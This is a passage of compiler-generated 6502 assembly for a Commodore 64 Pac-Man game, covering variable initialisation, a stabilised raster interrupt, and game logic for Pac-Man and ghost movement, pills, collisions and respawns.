ghost2_yfine = $3f // Ghost 2 movement current direction .label ghost2_direction = $36 // Ghost 2 movement substep (0: on tile, 1: between tiles). .label ghost2_substep = $2e // Ghost 2 movement should be reversed (0: normal, 1: reverse direction) .label ghost2_reverse = $6a // Ghost 2 respawn timer .label ghost2_respawn = $28 // Ghost 3 x fine position (0-99). .label ghost3_xfine = $40 // Ghost 3 y fine position (0-70). .label ghost3_yfine = $42 // Ghost 3 movement current direction .label ghost3_direction = $38 // Ghost 3 movement substep (0: on tile, 1: between tiles). .label ghost3_substep = $2f // Ghost 3 movement should be reversed (0: normal, 1: reverse direction) .label ghost3_reverse = $6b // Ghost 3 respawn timer .label ghost3_respawn = $29 // Ghost 4 x fine position (0-99). .label ghost4_xfine = $43 // Ghost 4 y fine position (0-70). .label ghost4_yfine = $44 // Ghost 4 movement current direction .label ghost4_direction = $39 // Ghost 4 movement substep (0: on tile, 1: between tiles). .label ghost4_substep = $30 // Ghost 4 movement should be reversed (0: normal, 1: reverse direction) .label ghost4_reverse = $6c // Ghost 4 respawn timer .label ghost4_respawn = $2a // Game logic sub-step [0-7]. Each frame a different sub-step is animated .label game_logic_substep = $5c // 1 when the game is playable and characters should move around .label game_playable = $41 .segment Code __start: { // volatile char pacman_ch1_enabled = 0 lda #0 sta.z pacman_ch1_enabled // volatile char pacman_ch1_idx = 0 sta.z pacman_ch1_idx // volatile char* logic_tile_ptr sta.z logic_tile_ptr sta.z logic_tile_ptr+1 // volatile char logic_tile_xcol sta.z logic_tile_xcol // volatile char logic_tile_yfine sta.z logic_tile_yfine // volatile char logic_tile_left_idx sta.z logic_tile_left_idx // volatile char logic_tile_right_idx sta.z logic_tile_right_idx // char * volatile left_render_index_xcol sta.z left_render_index_xcol sta.z left_render_index_xcol+1 // char * volatile left_canvas sta.z left_canvas sta.z left_canvas+1 // volatile char left_ypos_inc_offset sta.z left_ypos_inc_offset // char * volatile rigt_render_index_xcol sta.z rigt_render_index_xcol sta.z rigt_render_index_xcol+1 // char * volatile rigt_canvas sta.z rigt_canvas sta.z rigt_canvas+1 // volatile char rigt_ypos_inc_offset sta.z rigt_ypos_inc_offset // volatile char canvas_base_hi sta.z canvas_base_hi // volatile char bobs_restore_base sta.z bobs_restore_base // volatile char top_sprites_color sta.z top_sprites_color // volatile char top_sprites_mc sta.z top_sprites_mc // volatile char side_sprites_color sta.z side_sprites_color // volatile char side_sprites_mc sta.z side_sprites_mc // volatile char bottom_sprites_color sta.z bottom_sprites_color // volatile char bottom_sprites_mc sta.z bottom_sprites_mc // volatile unsigned int pill_count sta.z pill_count sta.z pill_count+1 // volatile char pacman_wins = 0 sta.z pacman_wins // volatile char pacman_lives = 3 lda #3 sta.z pacman_lives // volatile char music_play_next = 0 lda #0 sta.z music_play_next // volatile char phase = 0 sta.z phase // volatile char frame = 0 sta.z frame // volatile char anim_frame_idx = 0 sta.z anim_frame_idx // volatile char pacman_xfine = 45 lda #$2d sta.z pacman_xfine // volatile char pacman_yfine = 35 lda #$23 sta.z pacman_yfine // volatile enum DIRECTION pacman_direction = STOP lda #STOP sta.z pacman_direction // volatile char pacman_substep = 0 lda #0 sta.z pacman_substep // volatile enum GHOSTS_MODE ghosts_mode = 1 lda #1 sta.z ghosts_mode // volatile char ghosts_mode_count = 0 lda #0 sta.z ghosts_mode_count // volatile char ghost1_xfine = 45 lda #$2d sta.z ghost1_xfine // volatile char ghost1_yfine = 35 lda #$23 sta.z ghost1_yfine // volatile enum DIRECTION ghost1_direction = STOP lda #STOP sta.z ghost1_direction // volatile char ghost1_substep = 0 lda #0 sta.z ghost1_substep // volatile char ghost1_reverse = 0 sta.z ghost1_reverse // volatile char ghost1_respawn = 0 sta.z ghost1_respawn // volatile char ghost2_xfine = 45 lda #$2d sta.z ghost2_xfine // volatile char ghost2_yfine = 35 lda #$23 sta.z ghost2_yfine // volatile enum DIRECTION ghost2_direction = STOP lda #STOP sta.z ghost2_direction // volatile char ghost2_substep = 0 lda #0 sta.z ghost2_substep // volatile char ghost2_reverse = 0 sta.z ghost2_reverse // volatile char ghost2_respawn = 0 sta.z ghost2_respawn // volatile char ghost3_xfine = 45 lda #$2d sta.z ghost3_xfine // volatile char ghost3_yfine = 35 lda #$23 sta.z ghost3_yfine // volatile enum DIRECTION ghost3_direction = STOP lda #STOP sta.z ghost3_direction // volatile char ghost3_substep = 0 lda #0 sta.z ghost3_substep // volatile char ghost3_reverse = 0 sta.z ghost3_reverse // volatile char ghost3_respawn = 0 sta.z ghost3_respawn // volatile char ghost4_xfine = 45 lda #$2d sta.z ghost4_xfine // volatile char ghost4_yfine = 35 lda #$23 sta.z ghost4_yfine // volatile enum DIRECTION ghost4_direction = STOP lda #STOP sta.z ghost4_direction // volatile char ghost4_substep = 0 lda #0 sta.z ghost4_substep // volatile char ghost4_reverse = 0 sta.z ghost4_reverse // volatile char ghost4_respawn = 0 sta.z ghost4_respawn // volatile char game_logic_substep = 0 sta.z game_logic_substep // volatile char game_playable = 0 sta.z game_playable jsr main rts } // Interrupt Routine at Screen Top irq_screen_top: { .const toDd001_return = 0 .const toDd002_return = 3^(>SCREENS_1)/$40 .const toD0181_return = 0 sta rega+1 stx regx+1 sty regy+1 // kickasm // Stabilize the raster by using the double IRQ method // Acknowledge the IRQ lda #IRQ_RASTER sta IRQ_STATUS // Set-up IRQ for the next line inc RASTER // Point IRQ to almost stable code lda #<stable sta HARDWARE_IRQ lda #>stable sta HARDWARE_IRQ+1 tsx // Save stack pointer cli // Reenable interrupts // Wait for new IRQ using NOP's to ensure minimal jitter when it hits .fill 15, NOP .align $20 stable: txs // Restore stack pointer ldx #9 // Wait till the raster has almost crossed to the next line (48 cycles) !: dex bne !- nop lda RASTER cmp RASTER bne !+ // And correct the last cycle of potential jitter !: // Raster is now completely stable! (Line 0x007 cycle 7) // asm jsr RASTER_CODE // VICII->SPRITE0_Y =7 // Move sprites back to the top lda #7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_Y // VICII->SPRITE1_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE1_Y // VICII->SPRITE2_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE2_Y // VICII->SPRITE3_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE3_Y // VICII->SPRITE4_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE4_Y // VICII->SPRITE5_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE5_Y // VICII->SPRITE6_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE6_Y // VICII->SPRITE7_Y =7 sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE7_Y // VICII->MEMORY = toD018(SCREENS_1, SCREENS_1) // Select first screen (graphics bank not important since layout in the banks is identical) lda #toD0181_return sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY // VICII->SPRITES_MC = top_sprites_mc // Set the top sprites color/MC lda.z top_sprites_mc sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC // VICII->SPRITE0_COLOR = top_sprites_color lda.z top_sprites_color sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR // VICII->SPRITE1_COLOR = top_sprites_color lda.z top_sprites_color sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITE1_COLOR // frame+1 lda.z frame clc adc #1 // (frame+1) & 1 and #1 // frame = (frame+1) & 1 // Move to next frame sta.z frame // if(frame) bne __b6 // CIA2->PORT_A = toDd00(SCREENS_1) // Change graphics bank lda #toDd002_return sta CIA2 // canvas_base_hi = BYTE1(SPRITES_2) // Set the next canvas base address lda #>SPRITES_2 sta.z canvas_base_hi // bobs_restore_base = NUM_BOBS*SIZE_BOB_RESTORE lda #NUM_BOBS*SIZE_BOB_RESTORE sta.z bobs_restore_base __b1: // if(phase==0) lda.z phase beq __b2 // game_logic() // Game phase // Perform game logic jsr game_logic // pacman_sound_play() // Play sounds jsr pacman_sound_play __b3: // VICII->IRQ_STATUS = IRQ_RASTER // Acknowledge the IRQ lda #IRQ_RASTER sta VICII+OFFSET_STRUCT_MOS6569_VICII_IRQ_STATUS // VICII->RASTER = IRQ_SCREEN_TOP_LINE // Trigger IRQ at screen top again lda #IRQ_SCREEN_TOP_LINE sta VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER // *HARDWARE_IRQ = &irq_screen_top lda #<irq_screen_top sta HARDWARE_IRQ lda #>irq_screen_top sta HARDWARE_IRQ+1 // } rega: lda #0 regx: ldx #0 regy: ldy #0 rti __b2: // music_play_next = 1 // intro phase // Play intro music lda #1 sta.z music_play_next jmp __b3 __b6: // CIA2->PORT_A = toDd00(SCREENS_2) // Change graphics bank lda #toDd001_return sta CIA2 // canvas_base_hi = BYTE1(SPRITES_1) // Set the next canvas base address lda #>SPRITES_1 sta.z canvas_base_hi // bobs_restore_base = 0 lda #0 sta.z bobs_restore_base jmp __b1 } main: { // splash_run() // Show the splash screen jsr splash_run __b1: // gameplay_run() // Run the gameplay jsr gameplay_run // done_run() // Show victory or game over image jsr done_run jmp __b1 } // Perform game logic such as moving pacman and ghosts game_logic: { .label __67 = $45 .label __71 = $45 .label __210 = $5d .label ghost_frame_idx = $49 .label pacman_xtile = $5b .label ytiles = $45 .label ghost4_xtile = $5e .label ghost4_ytile = $5f .label target_ytile = $27 .label ghost3_xtile = $60 .label ghost3_ytile = $61 .label target_ytile1 = $27 .label ghost2_xtile = $62 .label ghost2_ytile = $63 .label target_ytile2 = $27 .label ghost1_xtile = $64 .label ghost1_ytile = $65 .label target_ytile3 = $27 // if(game_playable==0) lda.z game_playable bne __b1 __breturn: // } rts __b1: // game_logic_substep+1 ldx.z game_logic_substep inx // (game_logic_substep+1)&7 txa and #7 // game_logic_substep = (game_logic_substep+1)&7 // Move to next sub-step sta.z game_logic_substep // if(game_logic_substep==0) bne !__b2+ jmp __b2 !__b2: // if(game_logic_substep==1) lda #1 cmp.z game_logic_substep bne !__b3+ jmp __b3 !__b3: // if(game_logic_substep==2) lda #2 cmp.z game_logic_substep bne !__b4+ jmp __b4 !__b4: // if(game_logic_substep==4) lda #4 cmp.z game_logic_substep bne !__b5+ jmp __b5 !__b5: // if(game_logic_substep==5) lda #5 cmp.z game_logic_substep bne !__b6+ jmp __b6 !__b6: // if(game_logic_substep==6) lda #6 cmp.z game_logic_substep bne !__b7+ jmp __b7 !__b7: // if(game_logic_substep==3 || game_logic_substep==7) lda #3 cmp.z game_logic_substep beq __b14 lda #7 cmp.z game_logic_substep beq __b14 rts __b14: // anim_frame_idx+1 ldx.z anim_frame_idx inx // (anim_frame_idx+1) & 3 txa and #3 // anim_frame_idx = (anim_frame_idx+1) & 3 // Update animation and bobs sta.z anim_frame_idx // char pacman_bob_xfine = pacman_xfine-1 lda.z pacman_xfine tay dey // pacman_bob_xfine/4 tya lsr lsr // bobs_xcol[0] = pacman_bob_xfine/4 sta bobs_xcol // pacman_yfine-1 ldx.z pacman_yfine dex // bobs_yfine[0] = pacman_yfine-1 stx bobs_yfine // pacman_direction|anim_frame_idx lda.z pacman_direction ora.z anim_frame_idx tax // pacman_bob_xfine&3 tya and #3 // pacman_frames[pacman_direction|anim_frame_idx] + (pacman_bob_xfine&3) clc adc pacman_frames,x // bobs_bob_id[0] = pacman_frames[pacman_direction|anim_frame_idx] + (pacman_bob_xfine&3) sta bobs_bob_id // char ghost_frame_idx = anim_frame_idx lda.z anim_frame_idx sta.z ghost_frame_idx // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode bne __b44 // ghost_frame_idx |= 0x40 lda #$40 ora.z ghost_frame_idx sta.z ghost_frame_idx __b44: // char ghost1_bob_xfine = ghost1_xfine-1 lda.z ghost1_xfine tay dey // ghost1_bob_xfine/4 tya lsr lsr // bobs_xcol[1] = ghost1_bob_xfine/4 sta bobs_xcol+1 // ghost1_yfine-1 ldx.z ghost1_yfine dex // bobs_yfine[1] = ghost1_yfine-1 stx bobs_yfine+1 // ghost1_direction|ghost_frame_idx lda.z ghost1_direction ora.z ghost_frame_idx tax // ghost1_bob_xfine&3 tya and #3 // ghost_frames[ghost1_direction|ghost_frame_idx] + (ghost1_bob_xfine&3) clc adc ghost_frames,x // bobs_bob_id[1] = ghost_frames[ghost1_direction|ghost_frame_idx] + (ghost1_bob_xfine&3) sta bobs_bob_id+1 // char ghost2_bob_xfine = ghost2_xfine-1 lda.z ghost2_xfine tay dey // ghost2_bob_xfine/4 tya lsr lsr // bobs_xcol[2] = ghost2_bob_xfine/4 sta bobs_xcol+2 // ghost2_yfine-1 ldx.z ghost2_yfine dex // bobs_yfine[2] = ghost2_yfine-1 stx bobs_yfine+2 // ghost2_direction|ghost_frame_idx lda.z ghost2_direction ora.z ghost_frame_idx tax // ghost2_bob_xfine&3 tya and #3 // ghost_frames[ghost2_direction|ghost_frame_idx] + (ghost2_bob_xfine&3) clc adc ghost_frames,x // bobs_bob_id[2] = ghost_frames[ghost2_direction|ghost_frame_idx] + (ghost2_bob_xfine&3) sta bobs_bob_id+2 // char ghost3_bob_xfine = ghost3_xfine-1 lda.z ghost3_xfine tay dey // ghost3_bob_xfine/4 tya lsr lsr // bobs_xcol[3] = ghost3_bob_xfine/4 sta bobs_xcol+3 // ghost3_yfine-1 ldx.z ghost3_yfine dex // bobs_yfine[3] = ghost3_yfine-1 stx bobs_yfine+3 // ghost3_direction|ghost_frame_idx lda.z ghost3_direction ora.z ghost_frame_idx tax // ghost3_bob_xfine&3 tya and #3 // ghost_frames[ghost3_direction|ghost_frame_idx] + (ghost3_bob_xfine&3) clc adc ghost_frames,x // bobs_bob_id[3] = ghost_frames[ghost3_direction|ghost_frame_idx] + (ghost3_bob_xfine&3) sta bobs_bob_id+3 // char ghost4_bob_xfine = ghost4_xfine-1 lda.z ghost4_xfine tay dey // ghost4_bob_xfine/4 tya lsr lsr // bobs_xcol[4] = ghost4_bob_xfine/4 sta bobs_xcol+4 // ghost4_yfine-1 ldx.z ghost4_yfine dex // bobs_yfine[4] = ghost4_yfine-1 stx bobs_yfine+4 // ghost4_direction|ghost_frame_idx lda.z ghost4_direction ora.z ghost_frame_idx tax // ghost4_bob_xfine&3 tya and #3 // ghost_frames[ghost4_direction|ghost_frame_idx] + (ghost4_bob_xfine&3) clc adc ghost_frames,x // bobs_bob_id[4] = ghost_frames[ghost4_direction|ghost_frame_idx] + (ghost4_bob_xfine&3) sta bobs_bob_id+4 rts __b7: // ghosts_mode_count++; inc.z ghosts_mode_count // if(ghosts_mode==SCATTER) lda #SCATTER cmp.z ghosts_mode bne !__b45+ jmp __b45 !__b45: // if(ghosts_mode==CHASE) lda #CHASE cmp.z ghosts_mode bne !__b46+ jmp __b46 !__b46: // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode bne __b9 // if(ghosts_mode_count>50) lda.z ghosts_mode_count cmp #$32+1 bcc __b9 // ghosts_mode = CHASE lda #CHASE sta.z ghosts_mode // ghosts_mode_count = 0 lda #0 sta.z ghosts_mode_count __b8: lda #1 jmp __b47 __b9: lda #0 __b47: // if(do_reverse) cmp #0 beq __b48 // ghost1_reverse = 1 lda #1 sta.z ghost1_reverse // ghost2_reverse = 1 sta.z ghost2_reverse // ghost3_reverse = 1 sta.z ghost3_reverse // ghost4_reverse = 1 sta.z ghost4_reverse __b48: // char pacman_xtile = pacman_xfine/2 // Examine if pacman is on a pill tile - and handle it lda.z pacman_xfine lsr sta.z pacman_xtile // char pacman_ytile = pacman_yfine/2 lda.z pacman_yfine lsr // char* ytiles = LEVEL_TILES + LEVEL_YTILE_OFFSET[pacman_ytile] asl sta.z __210 tay clc lda #<LEVEL_TILES adc LEVEL_YTILE_OFFSET,y sta.z ytiles lda #>LEVEL_TILES adc LEVEL_YTILE_OFFSET+1,y sta.z ytiles+1 // char tile_id = ytiles[pacman_xtile] ldy.z pacman_xtile lda (ytiles),y tax // if(TILES_TYPE[tile_id]==PILL) lda TILES_TYPE,x cmp #PILL bne !__b49+ jmp __b49 !__b49: // if(TILES_TYPE[tile_id]==POWERUP) lda TILES_TYPE,x cmp #POWERUP bne __b50 // ytiles[pacman_xtile] = EMPTY // Empty the tile lda #EMPTY sta (ytiles),y // pacman_xtile/2 tya lsr // logic_tile_xcol = pacman_xtile/2 // Ask the logic code renderer to update the tile sta.z logic_tile_xcol // pacman_xtile & 0xfe lda #$fe and.z pacman_xtile // ytiles + (pacman_xtile & 0xfe) clc adc.z __67 sta.z __67 bcc !+ inc.z __67+1 !: // logic_tile_ptr = ytiles + (pacman_xtile & 0xfe) lda.z __67 sta.z logic_tile_ptr lda.z __67+1 sta.z logic_tile_ptr+1 // pacman_ytile*2 lda.z __210 // logic_tile_yfine = pacman_ytile*2 sta.z logic_tile_yfine // ghosts_mode = FRIGHTENED // Start power-up mode lda #FRIGHTENED sta.z ghosts_mode // ghosts_mode_count = 0 lda #0 sta.z ghosts_mode_count __b50: // pacman_xfine-ghost1_xfine lda.z pacman_xfine sec sbc.z ghost1_xfine tax // pacman_yfine-ghost1_yfine lda.z pacman_yfine sec sbc.z ghost1_yfine tay // if(ABS[pacman_xfine-ghost1_xfine]<2 && ABS[pacman_yfine-ghost1_yfine]<2) // Check if anyone dies lda ABS,x cmp #2 bcs __b64 lda ABS,y cmp #2 bcs !__b51+ jmp __b51 !__b51: __b64: // pacman_xfine-ghost2_xfine lda.z pacman_xfine sec sbc.z ghost2_xfine tax // pacman_yfine-ghost2_yfine lda.z pacman_yfine sec sbc.z ghost2_yfine tay // if(ABS[pacman_xfine-ghost2_xfine]<2 && ABS[pacman_yfine-ghost2_yfine]<2) lda ABS,x cmp #2 bcs __b65 lda ABS,y cmp #2 bcc __b52 __b65: // pacman_xfine-ghost3_xfine lda.z pacman_xfine sec sbc.z ghost3_xfine tax // pacman_yfine-ghost3_yfine lda.z pacman_yfine sec sbc.z ghost3_yfine tay // if(ABS[pacman_xfine-ghost3_xfine]<2 && ABS[pacman_yfine-ghost3_yfine]<2) lda ABS,x cmp #2 bcs __b66 lda ABS,y cmp #2 bcc __b53 __b66: // pacman_xfine-ghost4_xfine lda.z pacman_xfine sec sbc.z ghost4_xfine tax // pacman_yfine-ghost4_yfine lda.z pacman_yfine sec sbc.z ghost4_yfine tay // if(ABS[pacman_xfine-ghost4_xfine]<2 && ABS[pacman_yfine-ghost4_yfine]<2) lda ABS,x cmp #2 bcc !__breturn+ jmp __breturn !__breturn: lda ABS,y cmp #2 bcc __b67 rts __b67: // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b54 // pacman_lives--; dec.z pacman_lives // spawn_all() jsr spawn_all rts __b54: // ghost4_direction = STOP lda #STOP sta.z ghost4_direction // ghost4_xfine = 50 lda #$32 sta.z ghost4_xfine // ghost4_yfine = 35 lda #$23 sta.z ghost4_yfine // ghost4_substep = 0 lda #0 sta.z ghost4_substep // ghost4_respawn = 50 lda #$32 sta.z ghost4_respawn rts __b53: // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b55 // pacman_lives--; dec.z pacman_lives // spawn_all() jsr spawn_all rts __b55: // ghost3_direction = STOP lda #STOP sta.z ghost3_direction // ghost3_xfine = 50 lda #$32 sta.z ghost3_xfine // ghost3_yfine = 35 lda #$23 sta.z ghost3_yfine // ghost3_substep = 0 lda #0 sta.z ghost3_substep // ghost3_respawn = 50 lda #$32 sta.z ghost3_respawn rts __b52: // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b56 // pacman_lives--; dec.z pacman_lives // spawn_all() jsr spawn_all rts __b56: // ghost2_direction = STOP lda #STOP sta.z ghost2_direction // ghost2_xfine = 50 lda #$32 sta.z ghost2_xfine // ghost2_yfine = 35 lda #$23 sta.z ghost2_yfine // ghost2_substep = 0 lda #0 sta.z ghost2_substep // ghost2_respawn = 50 lda #$32 sta.z ghost2_respawn rts __b51: // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b57 // pacman_lives--; dec.z pacman_lives // spawn_all() jsr spawn_all rts __b57: // ghost1_direction = STOP // ghost dies lda #STOP sta.z ghost1_direction // ghost1_xfine = 50 lda #$32 sta.z ghost1_xfine // ghost1_yfine = 35 lda #$23 sta.z ghost1_yfine // ghost1_substep = 0 lda #0 sta.z ghost1_substep // ghost1_respawn = 50 lda #$32 sta.z ghost1_respawn rts __b49: // ytiles[pacman_xtile] = EMPTY // Empty the tile lda #EMPTY ldy.z pacman_xtile sta (ytiles),y // pacman_xtile/2 tya lsr // logic_tile_xcol = pacman_xtile/2 // Ask the logic code renderer to update the tile sta.z logic_tile_xcol // pacman_xtile & 0xfe lda #$fe and.z pacman_xtile // ytiles + (pacman_xtile & 0xfe) clc adc.z __71 sta.z __71 bcc !+ inc.z __71+1 !: // logic_tile_ptr = ytiles + (pacman_xtile & 0xfe) lda.z __71 sta.z logic_tile_ptr lda.z __71+1 sta.z logic_tile_ptr+1 // pacman_ytile*2 lda.z __210 // logic_tile_yfine = pacman_ytile*2 sta.z logic_tile_yfine // if(--pill_count==0) lda.z pill_count bne !+ dec.z pill_count+1 !: dec.z pill_count lda.z pill_count ora.z pill_count+1 beq !__b50+ jmp __b50 !__b50: // pacman_wins = 1 lda #1 sta.z pacman_wins jmp __b50 __b46: // if(ghosts_mode_count>150) lda.z ghosts_mode_count cmp #$96+1 bcs !__b9+ jmp __b9 !__b9: // ghosts_mode = SCATTER lda #SCATTER sta.z ghosts_mode // ghosts_mode_count = 0 lda #0 sta.z ghosts_mode_count jmp __b8 __b45: // if(ghosts_mode_count>50) lda.z ghosts_mode_count cmp #$32+1 bcs !__b9+ jmp __b9 !__b9: // ghosts_mode = CHASE lda #CHASE sta.z ghosts_mode // ghosts_mode_count = 0 lda #0 sta.z ghosts_mode_count jmp __b8 __b6: // if(ghost4_respawn) // Ghost spawn timer lda.z ghost4_respawn beq !__b72+ jmp __b72 !__b72: // if(ghost4_direction==RIGHT) // Move in the current direction (unless he is stopped) lda #RIGHT cmp.z ghost4_direction bne !__b73+ jmp __b73 !__b73: // if(ghost4_direction==DOWN) lda #DOWN cmp.z ghost4_direction bne !__b74+ jmp __b74 !__b74: // if(ghost4_direction==LEFT) lda #LEFT cmp.z ghost4_direction bne !__b75+ jmp __b75 !__b75: // if(ghost4_direction==UP) lda #UP cmp.z ghost4_direction bne __b76 // --ghost4_yfine; dec.z ghost4_yfine __b76: // ghost4_direction!=STOP ldx.z ghost4_direction // if(ghost4_substep==0 && ghost4_direction!=STOP) lda.z ghost4_substep bne __b82 cpx #STOP bne __b77 __b82: // ghost4_substep = 0 // Ghost is on a tile lda #0 sta.z ghost4_substep // if(ghost4_reverse) lda.z ghost4_reverse bne __b78 // char ghost4_xtile = ghost4_xfine/2 // Examine open directions from the new tile to determine next action lda.z ghost4_xfine lsr sta.z ghost4_xtile // char ghost4_ytile = ghost4_yfine/2 lda.z ghost4_yfine lsr sta.z ghost4_ytile // char open_directions = level_tile_directions(ghost4_xtile, ghost4_ytile) ldx.z ghost4_xtile jsr level_tile_directions // char open_directions = level_tile_directions(ghost4_xtile, ghost4_ytile) // open_directions &= DIRECTION_ELIMINATE[ghost4_direction] // Eliminate the direction ghost came from ldy.z ghost4_direction and DIRECTION_ELIMINATE,y tay // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b79 // if(ghosts_mode==SCATTER) lda #SCATTER cmp.z ghosts_mode beq __b10 // target_xtile = pacman_xfine/2 lda.z pacman_xfine lsr tax // target_ytile = pacman_yfine/2 lda.z pacman_yfine lsr sta.z target_ytile jmp __b80 __b10: lda #2 sta.z target_ytile tax __b80: // choose_direction( open_directions, ghost4_xtile, ghost4_ytile, target_xtile, target_ytile ) sty.z choose_direction.open_directions ldy.z ghost4_xtile lda.z ghost4_ytile sta.z choose_direction.ghost_ytile jsr choose_direction // choose_direction( open_directions, ghost4_xtile, ghost4_ytile, target_xtile, target_ytile ) lda.z choose_direction.return // ghost4_direction = choose_direction( open_directions, ghost4_xtile, ghost4_ytile, target_xtile, target_ytile ) sta.z ghost4_direction rts __b79: // ghost4_direction = DIRECTION_SINGLE[open_directions] // Choose a random direction between the open directions lda DIRECTION_SINGLE,y sta.z ghost4_direction rts __b78: // ghost4_direction = DIRECTION_REVERSE[ghost4_direction] // If we are changing between scatter & chase then reverse the direction ldy.z ghost4_direction lda DIRECTION_REVERSE,y sta.z ghost4_direction // ghost4_reverse = 0 lda #0 sta.z ghost4_reverse rts __b77: // ghost4_substep = 1 // Ghost was on a tile and is moving, so he is now between tiles lda #1 sta.z ghost4_substep // if(ghost4_xfine==1) // Teleport if we are in the magic positions cmp.z ghost4_xfine beq __b81 // if(ghost4_xfine==97) lda #$61 cmp.z ghost4_xfine beq !__breturn+ jmp __breturn !__breturn: // ghost4_xfine = 1 lda #1 sta.z ghost4_xfine rts __b81: // ghost4_xfine = 97 lda #$61 sta.z ghost4_xfine rts __b75: // --ghost4_xfine; dec.z ghost4_xfine jmp __b76 __b74: // ++ghost4_yfine; inc.z ghost4_yfine jmp __b76 __b73: // ++ghost4_xfine; inc.z ghost4_xfine jmp __b76 __b72: // if(--ghost4_respawn==0) dec.z ghost4_respawn lda.z ghost4_respawn beq !__breturn+ jmp __breturn !__breturn: // ghost4_direction = RIGHT // Spawn ghost lda #RIGHT sta.z ghost4_direction // ghost4_xfine = 2 lda #2 sta.z ghost4_xfine // ghost4_yfine = 2 sta.z ghost4_yfine // ghost4_substep = 0 lda #0 sta.z ghost4_substep rts __b5: // if(ghost3_respawn) // Ghost spawn timer lda.z ghost3_respawn beq !__b89+ jmp __b89 !__b89: // if(ghost3_direction==RIGHT) // Move in the current direction (unless he is stopped) lda #RIGHT cmp.z ghost3_direction bne !__b90+ jmp __b90 !__b90: // if(ghost3_direction==DOWN) lda #DOWN cmp.z ghost3_direction bne !__b91+ jmp __b91 !__b91: // if(ghost3_direction==LEFT) lda #LEFT cmp.z ghost3_direction bne !__b92+ jmp __b92 !__b92: // if(ghost3_direction==UP) lda #UP cmp.z ghost3_direction bne __b93 // --ghost3_yfine; dec.z ghost3_yfine __b93: // ghost3_direction!=STOP ldx.z ghost3_direction // if(ghost3_substep==0 && ghost3_direction!=STOP) lda.z ghost3_substep bne __b99 cpx #STOP bne __b94 __b99: // ghost3_substep = 0 // Ghost is on a tile lda #0 sta.z ghost3_substep // if(ghost3_reverse) lda.z ghost3_reverse bne __b95 // char ghost3_xtile = ghost3_xfine/2 // Examine open directions from the new tile to determine next action lda.z ghost3_xfine lsr sta.z ghost3_xtile // char ghost3_ytile = ghost3_yfine/2 lda.z ghost3_yfine lsr sta.z ghost3_ytile // char open_directions = level_tile_directions(ghost3_xtile, ghost3_ytile) ldx.z ghost3_xtile jsr level_tile_directions // char open_directions = level_tile_directions(ghost3_xtile, ghost3_ytile) // open_directions &= DIRECTION_ELIMINATE[ghost3_direction] // Eliminate the direction ghost came from ldy.z ghost3_direction and DIRECTION_ELIMINATE,y tay // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b96 // if(ghosts_mode==SCATTER) lda #SCATTER cmp.z ghosts_mode beq __b11 // target_xtile = pacman_xfine/2 lda.z pacman_xfine lsr tax // target_ytile = pacman_yfine/2 lda.z pacman_yfine lsr sta.z target_ytile1 jmp __b97 __b11: lda #2 sta.z target_ytile1 tax __b97: // choose_direction( open_directions, ghost3_xtile, ghost3_ytile, target_xtile, target_ytile ) sty.z choose_direction.open_directions ldy.z ghost3_xtile lda.z ghost3_ytile sta.z choose_direction.ghost_ytile jsr choose_direction // choose_direction( open_directions, ghost3_xtile, ghost3_ytile, target_xtile, target_ytile ) lda.z choose_direction.return // ghost3_direction = choose_direction( open_directions, ghost3_xtile, ghost3_ytile, target_xtile, target_ytile ) sta.z ghost3_direction rts __b96: // ghost3_direction = DIRECTION_SINGLE[open_directions] // Choose a random direction between the open directions lda DIRECTION_SINGLE,y sta.z ghost3_direction rts __b95: // ghost3_direction = DIRECTION_REVERSE[ghost3_direction] // If we are changing between scatter & chase then reverse the direction ldy.z ghost3_direction lda DIRECTION_REVERSE,y sta.z ghost3_direction // ghost3_reverse = 0 lda #0 sta.z ghost3_reverse rts __b94: // ghost3_substep = 1 // Ghost was on a tile and is moving, so he is now between tiles lda #1 sta.z ghost3_substep // if(ghost3_xfine==1) // Teleport if we are in the magic positions cmp.z ghost3_xfine beq __b98 // if(ghost3_xfine==97) lda #$61 cmp.z ghost3_xfine beq !__breturn+ jmp __breturn !__breturn: // ghost3_xfine = 1 lda #1 sta.z ghost3_xfine rts __b98: // ghost3_xfine = 97 lda #$61 sta.z ghost3_xfine rts __b92: // --ghost3_xfine; dec.z ghost3_xfine jmp __b93 __b91: // ++ghost3_yfine; inc.z ghost3_yfine jmp __b93 __b90: // ++ghost3_xfine; inc.z ghost3_xfine jmp __b93 __b89: // if(--ghost3_respawn==0) dec.z ghost3_respawn lda.z ghost3_respawn beq !__breturn+ jmp __breturn !__breturn: // ghost3_direction = UP // Spawn ghost lda #UP sta.z ghost3_direction // ghost3_xfine = 2 lda #2 sta.z ghost3_xfine // ghost3_yfine = 70 lda #$46 sta.z ghost3_yfine // ghost3_substep = 0 lda #0 sta.z ghost3_substep rts __b4: // if(ghost2_respawn) // Ghost spawn timer lda.z ghost2_respawn beq !__b106+ jmp __b106 !__b106: // if(ghost2_direction==RIGHT) // Move in the current direction (unless he is stopped) lda #RIGHT cmp.z ghost2_direction bne !__b107+ jmp __b107 !__b107: // if(ghost2_direction==DOWN) lda #DOWN cmp.z ghost2_direction bne 